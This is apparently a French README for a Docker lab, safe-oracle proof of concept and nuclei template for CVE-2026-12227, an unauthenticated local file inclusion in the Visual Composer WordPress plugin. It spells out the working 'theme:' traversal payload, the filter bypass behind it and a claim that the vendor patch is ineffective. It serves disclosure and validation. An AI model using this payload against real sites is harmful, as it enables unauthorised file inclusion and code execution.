Lab de validation Docker et PoC safe-oracle pour CVE-2026-12227, une LFI non authentifiée dans Visual Composer via vcv-template, avec un template de détection nuclei.
Matériel de recherche en sécurité pour reproduire et valider CVE-2026-12227 : une inclusion de fichier local non authentifiée dans la résolution de page-template de Visual Composer Website Builder (CVSS 3.1 9.8), ainsi qu'une divergence vérifiée sur le correctif du fournisseur (voir ci-dessous).
locate_template(), issue du correctif CVE-2026-87902) - le code du
plugin lui-même n'a jamais été corrigé jusqu'à 45.16.3AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H) - CWE-98À utiliser uniquement sur des systèmes que vous possédez ou pour lesquels vous êtes explicitement autorisé à tester. Le PoC déclenche des inclusions oracle inoffensives (sortie standard de
wp-links-opml.php/xmlrpc.php). Aucun placement de fichier, aucune écriture, aucune charge utile RCE.
Statut : prouvé dans le laboratoire fourni.
WP 7.1.1 + VC 45.16.1 : POST /?vcv-template-type=vc-custom-layout&
vcv-template=theme:.theme:./.theme:./.theme:./wp-links-opml.php
-> 200, body contains <opml version="1.0"> (docroot PHP included + executed)
WP 7.1.1 + VC 45.16.3 : same request -> same oracle output
(the vendor "fixed" release is still exploitable)
WP 7.1.2 + VC 45.16.1 : silent (masked by the core gate, not by a plugin fix)
La preuve au niveau marqueur (un fichier PHP planté dans uploads/ inclus et
exécuté, GET non authentifié) fait partie des preuves du laboratoire et est
reproduite par ./lab verify sur la variante vulnérable.
visualcomposer/Modules/Editors/Settings/PageTemplatesController.php::viewPageTemplate()
accroche template_include à la priorité 11 sans contrôle d'authentification :
// line 140: validation on the RAW request value
if (empty($current) || validate_file($current['value']) !== 0) {
return $originalTemplate;
}
// lines 146-149: mutation AFTER the gate
if ($current['type'] === 'vc-custom-layout' && strpos($current['value'], 'theme:') !== false) {
$current['value'] = str_replace('theme:', '', $current['value']);
}
// line 152: the sink
$result = locate_template($current['value']);
validate_file() rejette le .. littéral. Mais la valeur n'est fusionnée
qu'après la vérification, donc répartir chaque traversée à travers une
frontière theme: la fait passer :
raw: theme:.theme:./.theme:./.theme:./wp-links-opml.php (no literal '..')
validate: PASS (validate_file sees no '..' substring)
strip: str_replace('theme:', '', ...) removes every 'theme:' occurrence,
fusing the fragments: '.' + '../' per boundary
result: ../../../wp-links-opml.php (pure traversal, resolved by the sink)
Request::input() (Helpers/Request.php:76) renvoie les
$_POST/$_GET/$_REQUEST bruts, donc rien en amont ne le nettoie non plus.
locate_template() résout le candidat avec file_exists(), qui honore les
segments ...
WordPress 7.1.2 (le correctif CVE-2026-87902) a ajouté
_wp_is_template_path_allowed() à l'intérieur de locate_template()
(wp-includes/template.php). Cette barrière du cœur rejette le candidat de
traversée fusionné, donc sur WP 7.1.2+ cette chaîne de plugin est masquée
par le cœur - le plugin n'a jamais été corrigé. Attribution vérifiée en
laboratoire : sur 7.1.2 le sink s'exécute toujours mais est confiné au
répertoire du thème ; sur 7.1.1 il s'échappe.
Conséquence pratique : un site exécutant Visual Composer 45.16.3 (la version actuelle, annoncée comme corrigée) sur WordPress <= 7.1.1 est encore vulnérable à une LFI non authentifiée aujourd'hui. Seule la mise à jour du cœur de WordPress la neutralise.
Prérequis : Docker avec Compose v2, Python 3.10+ sur l'hôte.
./lab verify
Exécute trois contrôles : vulnérable (WP 7.1.1 + VC 45.16.1, l'oracle doit se déclencher), corrigé (WP 7.1.2 + VC 45.16.1, l'oracle doit rester silencieux), dernier (WP 7.1.1 + VC 45.16.3, l'oracle doit se déclencher - la démonstration de la divergence du correctif).
Contrôle vulnérable :
[!!!] LFI CONFIRMED (safe oracle: wp-links-opml.php)
request : POST http://127.0.0.1:9488/?vcv-template-type=vc-custom-layout&vcv-template=theme:.theme:./.theme:./.theme:./wp-links-opml.php
evidence: <opml version="1.0">
RESULT: VULNERABLE CONTROL CONFIRMED
Contrôle corrigé :
[=] oracle silent after N requests: WP 7.1.2+ core gate masking, ...
RESULT: PATCHED CONTROL CONFIRMED (masked by WP 7.1.2 core gate)
./lab start vulnerable # WP 7.1.1 + VC 45.16.1 on 127.0.0.1:9488
./lab test
./lab start patched # WP 7.1.2 + VC 45.16.1
./lab test
./lab start latest # WP 7.1.1 + VC 45.16.3 (still fires)
./lab test
./lab reset
Exécuter le PoC à la main (loopback par défaut ; les cibles externes autorisées nécessitent l'option explicite) :
python3 poc/poc_cve_2026_12227.py --url http://127.0.0.1:9488
python3 poc/poc_cve_2026_12227.py --url https://target.example \
--allow-authorized-non-loopback [--insecure]
Le template nuclei (nuclei/cve-2026-12227.yaml) déclenche les mêmes charges
utiles oracle sur les ancres homepage + page_id aux profondeurs 3-6 avec
arrêt au premier match.
| Combinaison | Résultat |
|---|---|
| WP 7.1.1 + VC 45.16.1 (= code 45.16.0) | LFI reproduite (oracle + exécution du marqueur planté) |
| WP 7.1.1 + VC 45.16.3 (version actuelle) | La LFI se déclenche toujours |
| WP 7.1.2 + VC 45.16.1 | Silencieux (masqué par la barrière du cœur) |
| VC 45.16.2 | diff du correctif examiné ; chemin vulnérable inchangé (non exécuté séparément) |
.
├── .github/workflows/validate.yml
├── .gitignore
├── LICENSE
├── README.md
├── SECURITY.md
├── docker-compose.yml
├── lab
├── nuclei/
│ └── cve-2026-12227.yaml
└── poc/
└── poc_cve_2026_12227.py
Non versionné : assets/ (zips du plugin), .lab-state, __pycache__/.
| Affirmation | Statut |
|---|---|
| LFI non authentifiée vers exécution PHP hors du répertoire du thème | Prouvé (oracle + marqueur planté) |
| Correctif du fournisseur absent jusqu'à 45.16.3 | Prouvé (diff de code + déclenchement en direct sur 45.16.3) |
| Masquage par le cœur WP 7.1.2 | Prouvé (même requête silencieuse sur 7.1.2, se déclenche sur 7.1.1) |
| Sémantique de profondeur | 3 remontées vers docroot depuis themes// ; le balayage couvre 3-6 |
| RCE via chaînes pearcmd/write sur des cibles réelles | Non exécuté (PoC oracle sûr uniquement) |
| 45.16.0 (version affectée d'origine) | Code identique à 45.16.1 ; son zip wp.org est dépourvu de vendor/ et ne peut pas s'installer |
Les avis indiquent que le correctif arrive dans 45.16.1, mais le chemin de
code vulnérable est inchangé dans chaque version jusqu'à 45.16.3 (vérifié par
diffs d'arborescence et déclenchement en direct). Si vous maintenez Visual
Composer : viewPageTemplate() doit re-valider (ou refuser) la valeur après
le strip de theme:, pas avant. Les sites ne devraient pas compter sur les
mises à jour du plugin pour celui-ci - c'est la mise à jour du cœur de
WordPress 7.1.2 qui le ferme réellement.
N'exécutez ce dépôt que sur des systèmes que vous possédez ou pour lesquels
vous êtes explicitement autorisé à tester. Le pilote du laboratoire refuse les
variantes inconnues, le PoC refuse les cibles non-loopback sauf si
--allow-authorized-non-loopback est fourni, et le port Compose est lié à
127.0.0.1.
Voir SECURITY.md pour le traitement de la divulgation. Ce dépôt n'inclut pas de cibles de production, de données clients, de jetons d'accès ni de preuves issues de systèmes réels.
MIT - voir LICENSE.